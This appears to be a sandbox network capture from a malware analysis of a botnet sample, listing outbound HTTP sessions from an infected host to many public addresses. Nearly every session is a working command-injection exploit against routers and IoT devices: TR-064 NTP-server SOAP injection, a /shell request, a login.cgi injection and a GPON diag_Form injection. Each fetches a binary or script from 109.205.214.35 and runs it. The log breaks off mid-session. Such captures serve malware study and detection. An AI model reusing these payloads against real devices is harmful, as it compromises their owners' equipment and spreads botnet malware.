Mar 21, 2024 05:23:17.846199989 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:18.547374964 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1382	192.168.2.13	59166	47.136.220.218	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.881675005 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1383	192.168.2.13	44030	24.76.252.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.003736973 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:18.860234976 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:18.992693901 CET	339	IN	HTTP/1.0 400 Bad Request Date: Thu, 21 Mar 2024 05:41:12 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1384	192.168.2.13	59816	47.136.220.218	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.055527925 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1385	192.168.2.13	44330	38.181.191.15	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.337718964 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:22.540261984 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:28.684318066 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:40.716537952 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1386	192.168.2.13	45348	61.71.243.75	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.365712881 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1387	192.168.2.13	37614	179.113.22.51	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.561521053 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:18.789464951 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="NThmMTgxOWU6N2MyZTVjZjg6OTFlN2RlNDQ=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"
Mar 21, 2024 05:23:19.458005905 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="NThmMTgxOWU6N2MyZTVjZjg6OTFlN2RlNDQ=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
1388	192.168.2.13	45812	115.19.239.84	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.632838964 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1389	192.168.2.13	46904	77.236.203.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.668024063 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:19.692231894 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:19.891952991 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:19 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1390	192.168.2.13	39274	212.23.90.21	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.709897995 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1391	192.168.2.13	49366	42.154.229.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.740560055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1392	192.168.2.13	45910	109.148.72.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.740581989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1393	192.168.2.13	54564	109.106.251.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.740717888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1394	192.168.2.13	43272	212.18.43.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.740725040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1395	192.168.2.13	49374	118.244.11.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.740753889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1396	192.168.2.13	46082	5.187.9.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.740761995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1397	192.168.2.13	38528	5.242.90.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.740761995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1398	192.168.2.13	53556	118.109.226.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.740777016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1399	192.168.2.13	49666	212.240.152.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.740823030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1400	192.168.2.13	49210	109.130.227.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.740834951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1401	192.168.2.13	41070	212.37.99.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741374016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1402	192.168.2.13	35948	118.233.187.33	443

Timestamp	Bytes transferred	Direction	Data
